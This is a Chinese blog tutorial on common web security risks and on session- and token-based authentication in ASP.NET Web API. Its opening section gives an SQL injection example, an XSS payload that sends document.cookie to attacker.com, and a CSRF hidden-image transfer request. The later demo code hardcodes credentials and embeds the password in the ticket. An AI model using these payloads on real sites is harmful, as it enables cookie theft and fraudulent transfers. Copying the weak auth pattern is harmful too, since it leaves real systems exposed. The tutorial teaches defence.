第八节:常见安全隐患和传统的基于Session和Token的安全校验
一. 常见的安全隐患
1. SQL注入
常见的案例:
String query = "SELECT * FROM T_User WHERE userID='" + Request["userID"] + "';
这个时候,只需要在传递过来的userID后面加上个: or 1=1,即可以获取T_User表中的所有数据了。
解决方案:参数化查询。
2. 跨站脚本攻击(Cross-Site Scripting (XSS))
允许跨站脚本是Web 2.0时代网站最普遍的问题。如果网站没有对用户提交的数据加以验证而直接输出至网页,那么恶意用户就可以在网页中注入脚本来窃取用户数据。
eg:通过后台代码编写前端代码进行输出
string page += "<input name='userName' type='TEXT' value='" + request.getParameter("CC") + "'>";
攻击者只要输入以下数据:
'><script>document.location= 'http://www.attacker.com/cgi-bin/cookie.cgi ?foo='+document.cookie</script>'
当该数据被输出到页面的时候,每个访问该页面的用户cookie就自动被提交到了攻击者定义好的网站。
解决方案:输入的数据要进行安全校验和转义
3.跨站请求伪造(Cross-Site Request Forgery (CSRF) )
同样是跨站请求,这种与上面XSS的不同之处在于这个请求是从钓鱼网站上发起的。
比如钓鱼网站包含了下面代码:
<img src="http://example.com/app/transferFunds?amount=1500&destinationAccount=attackersAcct#" width="0" height="0" />
这行代码的作用就是一个在example.com网站的转帐请求,客户访问钓鱼网站时,如果也同时登录了example.com或者保留了example.com的登录状态,那个相应的隐藏请求就会被成功执行。
解决方案:
使用Token校验,保存好Token,比如:JWT校验。
二. 两类系统要解决的常见问题
1. Web系统
(1).是否登录. 没有登录话是不能进入登录以外的页面,即使访问,也要返回到自动进入登录页面。
(2).是否有权限. 权限的展现分两种:a. 没有权限的话直接不显示. b. 没有权限但是显示,单击的时候提示没有权限。
2.APP接口
(1).接口安全,不是任何人都能访问的,必须登录后才能访问,当然也有一部分不需要登录。
(2).防止接口被知道参数后任何能直接访问,要有校验,即使地址暴露别人也访问不通。
三. 传统的基于Session的校验
1. 前言
基于Session的校验,通常是用在管理系统中或者网站上,不适用于APP接口或者前后端分离的项目。
PS:复习一下Session的原理:https://www.cnblogs.com/yaopengfei/p/8057176.html
2. 步骤
①:登录成功,将用户信息(一个实体)和该用户对应的权限信息存放到Session中。
②:对所有的页面的展示的地址(前提需要登录后才能显示的),加上一个过滤器,在过滤器中判断该用户是否登录过,没有登录的话直接退回到登录页面。
③:对所有的业务操作的方法加上一个过滤器,在过滤器中判断该用户是否该权限,没有的话,直接提示没有权限。
注:以上②和③中的过滤器里,都需要到Session中取值。
3. 基于Session验证的弊端
①:Session经常过期回收,导致Session为空,是一些业务操作莫名其妙的没法使用。可以改进为使用数据库的Session,会好很多。
②:由于Session的原理可知,在同一个浏览器中,先后用不同账号登录,先登录的账号Session中的信息会被后登陆账号Session中的信息覆盖。
③:每个用户登录一次,就需要往Session做一次记录,而Session默认是保存在服务器内存中的,随着认证的用户增多,服务器端开销明显增大。
④:不能进行负载均衡,保存在内存中,下次还需要到这台服务器上才能拿到授权。
⑤:Session是基于Cookie,如果Cookie被截获,用户很容易受到跨站请求伪造攻击(CSRF)。
四. 传统的基于Token的校验
1. 背景
APP项目或者其它前后端分离的项目,Session验证用不了,只能用基于token的验证。当然Web项目也可以采用这种方式。
2. 步骤
①:通过账号和密码登录成功,服务端生成一个token(比如:32位不重复的随机字符串)。
②:服务端把该token和用户id保存到数据库(SQLServer或Redis)或者Session中,然后把token值返回给前端。
③:客户端每次请求都带上该token,服务端根据该token来查询是否合法和过期,然后去数据库中查出来用户id进行使用。
3. 弊端
①:验证信息如果存在数据库中,每次都要根据token查用户id,增加了数据库的开销。
②:验证信息如果存在Session中,则增大了服务器端存储的压力。
③:token一旦被截取,就很容易进行跨站请求伪造。
4. 鉴于以上弊端进行思考
①:如果token遵从一定规律,使用对称加密算法来加密用户id生成token,服务器端只要解密该token,就能知道用户id了,不需要额外的开销。 但是,如果对称加密算法泄露了,别人也可以伪造token了。
②:如果我们用非对称加密算法来做呢,保存好秘钥,就不存在上面的问题了,从而引出JWT类似于该原理。
5. 实战案例(基于Token的小升级)
A. 步骤
(1) 登录成功,将账号和密码按照一定格式进行拼接成字符串,然后进行票据加密(对称加密,这其中可以设置很多东西,比如过期时间),将生成的ticket返回给客户端。
(2) 客户端可以把该ticket值存到localstorage中,每次请求在表头进行附加。
(3) 服务器端写一个过滤器,对该ticket进行解密,拿到账号和密码,去数据库中查询,是否匹配,如果匹配则验证通过。
B. 深度分析
同样存在被截取的问题,加密算法如果被人知道,容易被伪造
服务器端验证:见CheckPer0.cs
C. 代码分享
(1). 服务器端校验登录的代码
/// <summary>
/// 模拟登陆
/// </summary>
/// <param name="userAccount"></param>
/// <param name="pwd"></param>
/// <returns></returns>
[HttpGet]
public string Login0(string userAccount, string pwd)
{
//这里实际应该去数据库验证,此处暂时用固定值写死
if (userAccount == "admin" && pwd == "")
{
FormsAuthenticationTicket ticketObject = new FormsAuthenticationTicket(, userAccount, DateTime.Now, DateTime.Now.AddHours(), true, $"{userAccount}&{pwd}", FormsAuthentication.FormsCookiePath);
var result = new { result = "ok", ticket = FormsAuthentication.Encrypt(ticketObject) };
return JsonConvert.SerializeObject(result);
}
else
{
var result = new { result = "error" };
return JsonConvert.SerializeObject(result);
}
}
(2). 客户端调用登录的代码
获取成功,将token值存放到localStorage中。
$.get("/api/Seventh/Login0", { userAccount: "admin", pwd: "" }, function (data) {
var jsonData = JSON.parse(data);
if (jsonData.result == "ok") {
console.log(jsonData.ticket);
//存放到本地缓存中
window.localStorage.setItem("myTicket", jsonData.ticket);
alert("登录成功,ticket=" + jsonData.ticket);
} else {
alert("登录失败");
}
});
(3). 服务器端过滤器代码
该过滤器中通过 actionContext.Request.Headers.Authorization 获取固定的参数位:Authorization,然后通过 authorizationModel.Parameter 获取参数值,前端需要分割一下,如下:

当然还有很多别的赋值和获取的方式,详细的见下面章节。
/// <summary>
/// 基于token的小升级
/// 过滤器
/// </summary>
public class CheckPer0 : AuthorizeAttribute
{
public override void OnAuthorization(HttpActionContext actionContext)
{
//1. 获取报文头(固定的参数位 Authorization)
var authorizationModel = actionContext.Request.Headers.Authorization;
//2. 如果标注了[AllowAnonymous]特性,则不进行验证
if (actionContext.ActionDescriptor.GetCustomAttributes<AllowAnonymousAttribute>(true).Count !=
|| actionContext.ActionDescriptor.ControllerDescriptor.GetCustomAttributes<AllowAnonymousAttribute>(true).Count != )
{
//base.OnAuthorization(actionContext);
}
else if (authorizationModel != null && authorizationModel.Parameter != null)
{
try
{
//逻辑验证
//解密
var strTicket = FormsAuthentication.Decrypt(authorizationModel.Parameter).UserData;
//此处应该去数据库验证
if (strTicket.Equals("admin&123456"))
{
//表示校验通过,用于向控制器中传值
actionContext.RequestContext.RouteData.Values.Add("auth", strTicket);
}
else
{
base.HandleUnauthorizedRequest(actionContext);//返回没有授权
}
}
catch (Exception)
{ base.HandleUnauthorizedRequest(actionContext);//返回没有授权
}
}
}
}
(4). 服务器端加密后获取信息的代码
/// <summary>
/// 加密后获取信息
/// </summary>
/// <returns></returns>
[HttpGet]
[CheckPer0]
public string GetInfor0()
{
var userData = RequestContext.RouteData.Values["auth"].ToString();
if (string.IsNullOrEmpty(userData))
{
var result = new { Message = "error", data = "" };
return JsonConvert.SerializeObject(result);
}
else
{
var result = new { Message = "ok", data = userData };
return JsonConvert.SerializeObject(result);
}
}
(5). 客户端调用获取信息的代码
//从本地缓存中读取token值
var myTicket = window.localStorage.getItem("myTicket");
$.ajax({
url: "/api/Seventh/GetInfor0",
type: "Get",
data: {},
datatype: "json",
beforeSend: function (xhr) {
//Authorization 是一个固定的参数位置,本来就有这个参数,后台方便获取,当然也可以自己命名
//在myTicket前面加个BasicAuth1 只是为了后台.Parameter能获取到而已,至于叫什么名,没有关系
xhr.setRequestHeader("Authorization", 'BasicAuth1 ' + myTicket)
},
success: function (data) {
console.log(data);
alert(data);
},
//当安全校验未通过的时候进入这里
error: function (xhr) {
if (xhr.status == ) {
console.log(xhr.responseText);
alert("授权未通过");
}
}
});
(6). 运行结果


!
- 作 者 : Yaopengfei(姚鹏飞)
- 博客地址 : http://www.cnblogs.com/yaopengfei/
- 声 明1 : 本人才疏学浅,用郭德纲的话说“我是一个小学生”,如有错误,欢迎讨论,请勿谩骂^_^。
- 声 明2 : 原创博客请在转载时保留原文链接或在文章开头加上本人博客地址,否则保留追究法律责任的权利。
第八节:常见安全隐患和传统的基于Session和Token的安全校验的更多相关文章
- 把传统的基于sql的企业信息中心迁移到spark 架构应该考虑的几点思考...[修改中]
把传统的基于sql的企业信息中心迁移到spark 架构应该考虑的几点 * 理由: 赶时髦, 这还不够大条么? > 数据都设计为NO-SQL模式, 只有需要search的才建立2级索引. 就可以 ...
- 项目一:第十二天 1、常见权限控制方式 2、基于shiro提供url拦截方式验证权限 3、在realm中授权 5、总结验证权限方式(四种) 6、用户注销7、基于treegrid实现菜单展示
1 课程计划 1. 常见权限控制方式 2. 基于shiro提供url拦截方式验证权限 3. 在realm中授权 4. 基于shiro提供注解方式验证权限 5. 总结验证权限方式(四种) 6. 用户注销 ...
- 获取用户Ip地址通用方法常见安全隐患(HTTP_X_FORWARDED_FOR)
分析过程 这个来自一些项目中,获取用户Ip,进行用户操作行为的记录,是常见并且经常使用的. 一般朋友,都会看到如下通用获取IP地址方法. function getIP() { if (isset($_ ...
- 几个常见用于解决nginx负载均衡的session共享问题的办法
查了一些资料,看了一些别人写的文档,总结如下,实现nginx session的共享: PHP服务器有多台,用nginx做负载均衡,这样同一个IP访问同一个页面会被分配到不同的服务器上,如果sessio ...
- iOS常见的几种加密方法(base64.MD5.Token传值.系统指纹验证。。加密)
普通加密方法是讲密码进行加密后保存到用户偏好设置中 钥匙串是以明文形式保存,但是不知道存放的具体位置 一. base64加密 base64 编码是现代密码学的基础 基本原理: 原本是 8个bit 一组 ...
- WebApi系列(从.Net FrameWork 到 .Net Core)
一. 简介 1. 什么是WebApi? WebApi是一个很广泛的概念,在这里我们特指.Net平台下的Asp.Net WebApi框架,它是针对各种客户端(浏览器.APP等)来构建Http服务的一个 ...
- JWT的优点和实现Token认证的安全问题
JWT的优点和实现Token认证的安全问题 一.什么是JWT JWT——Json web token 是为了在网络应用环境间传递声明而执行的一种基于JSON的开放标准,可实现无状态.分布式的Web应 ...
- Django之JWT理解及简单应用
Json web token (JWT), 是为了在网络应用环境间传递声明而执行的一种基于JSON的开放标准((RFC 7519).该token被设计为紧凑且安全的,特别适用于分布式站点的单点登录(S ...
- 你了解JWT吗?
1. 什么是JWT JWT简称 JSON Web Token,也就是通过 JSON 形式作为 Web 应用中的令牌,用于在各方之间安全地将信息作为 JSON 对象传输.在数据传输过程中还可以完成数据加 ...
随机推荐
- python中创建虚拟环境
# virtualenv 虚拟环境安装 pip install virtualenv # 创建虚拟环境 virtualenv [虚拟环境名称] # 进入虚拟环境 windows : 进入 ...
- Docker: 企业级镜像仓库Harbor的使用
上一节,演示了Harbor的安装部署 这次我们来讲解 Harbor的使用. 我们需要了解到: 1. 如何推镜像到镜像仓库 2. 如何从镜像仓库拉取镜像 3. 如何运行从私有仓库拉取的镜像 # 查看 h ...
- DecimalFormat格式化十进制数字
DecimalFormat 是 NumberFormat 的一个具体子类,用于格式化十进制数字.该类设计有各种功能,使其能够分析和格式化任意语言环境中的数,包括对西方语言.阿拉伯语和印度语数字的支持. ...
- SQL MID() 函数
MID() 函数 MID 函数用于从文本字段中提取字符. SQL MID() 语法 SELECT MID(column_name,start[,length]) FROM table_name 参数 ...
- [LeetCode] 7. 整数反转
题目链接:https://leetcode-cn.com/problems/reverse-integer/ 题目描述: 给出一个 32 位的有符号整数,你需要将这个整数中每位上的数字进行反转. 示例 ...
- 步步深入:MySQL架构总览->查询执行流程->SQL解析顺序(转)
文章转自 http://www.cnblogs.com/annsshadow/p/5037667.html https://www.cnblogs.com/cuisi/p/7685893.html
- input 各种限制
test 1.限制只能输入或黏贴11位长度的数字 <input onkeyup="this.value=this.value.replace(/\D/g,'')" onaft ...
- 控制结构(4): 局部化(localization)
// 上一篇:状态机(state machine) // 下一篇:必经之地(using) 基于语言提供的基本控制结构,更好地组织和表达程序,需要良好的控制结构. 前情回顾 上一次,我们说到状态机结构( ...
- ST表
ST表的原理及其实现 ST表类似树状数组,线段树这两种算法,是一种用于解决RMQ(Range Minimum/Maximum Query,即区间最值查询)问题的离线算法 与线段树相比,预处理复杂度同为 ...
- 如何伪造IP(转)
要明白伪装IP的原理,首先要回顾一下TCP的三次握手. 总所周知在链接初始化的阶段, 需要一次三次握手来建立链接, 之后客户端和服务端会依据初始的这个IP地址来通信. 从这个角度上来说, 想真正的伪装 ...